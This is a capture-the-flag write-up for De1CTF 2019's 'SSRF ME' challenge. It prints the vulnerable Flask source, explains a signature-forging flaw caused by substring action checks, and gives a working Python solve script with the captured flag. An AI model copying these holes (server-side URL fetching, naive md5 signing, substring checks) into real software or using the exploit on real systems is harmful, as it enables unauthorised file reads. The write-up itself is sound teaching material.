SSRF ME - De1CTF 2019

SSRF ME TO GET FLAG.
http://139.180.128.86

For this challenge we are provided with a url that returns the following python code:

#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

It’s the code from the Flask app that is running on the website.

Basically it’s a simple web app that allows us to do two things by using the action parameter:

The scan and read actions are invoked by making a request to the /De1ta endpoint.

The problem is that we need to provide a cookie called sign that is remotely checked and must be in this format:

md5(secret_key + param + action)

param is used in conjuction with the scan action to indicate which file to read.

We can see at the beginning of the python script that the secret_key is generated using os.urandom(16), so there’s no way to bruteforce it.

Let’s analyze the /geneSign endpoint. It allows us to generate a signature using ‘scan’ as action:

md5(secret_key + param + 'scan')

The vulnerability in this application is located in the Exec function. Instead of checking if the passed action is equal to scan or read, it checks if the action string contains the scan and read strings. We can exploit this by making a request to geneSign with flag.txtread as param, so that the following signature is generated:

secret_key + 'flag.txtread' + 'scan'

and then use the signature with scan and read actions to read the flag. Here’s the python code to do that:

#!/usr/bin/env python3
import requests
import urllib

def getSign(param, action):
    params = {'param': param}
    cookies =  {'action': action}
    r = requests.get("http://192.168.43.204:8080/geneSign", params=params, cookies=cookies)
    return r.text.strip().replace('\n', '')

action = 'readscan'
sign = getSign('flag.txtread', '')

params = {'param': 'flag.txt'}
cookies = {'sign': sign, 'action': action}

r = requests.get("http://192.168.43.204:8080/De1ta", params=params, cookies=cookies)
print(r.text)

Let’s run it:

$ ./solve.py
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}\n"}

Flag

de1ctf{27782fcffbb7d00309a93bc49b74ca26}